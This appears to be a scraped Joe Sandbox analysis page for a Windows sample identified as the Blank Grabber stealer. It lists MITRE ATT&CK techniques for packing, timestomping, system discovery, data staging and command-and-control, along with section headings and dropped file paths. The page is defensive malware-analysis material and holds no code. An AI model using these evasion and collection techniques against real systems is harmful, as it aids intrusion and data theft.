Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Blank Grabber

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bound.exe_e1713a4d8d19182fc4a76a4d16041566ccfdee1_3c646ca9_a444fff1-7585-4c34-bbbb-0404a4d25c0e\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40B.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER610.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER64F.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\DISCORD

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

C:\Users\user\AppData\Local\Temp\_MEI76122\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI76122\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI76122\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\_MEI76122\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI76122\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI76122\_lzma.pyd

C:\Users\user\AppData\Local\Temp\_MEI76122\_queue.pyd

Windows Analysis Report
SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre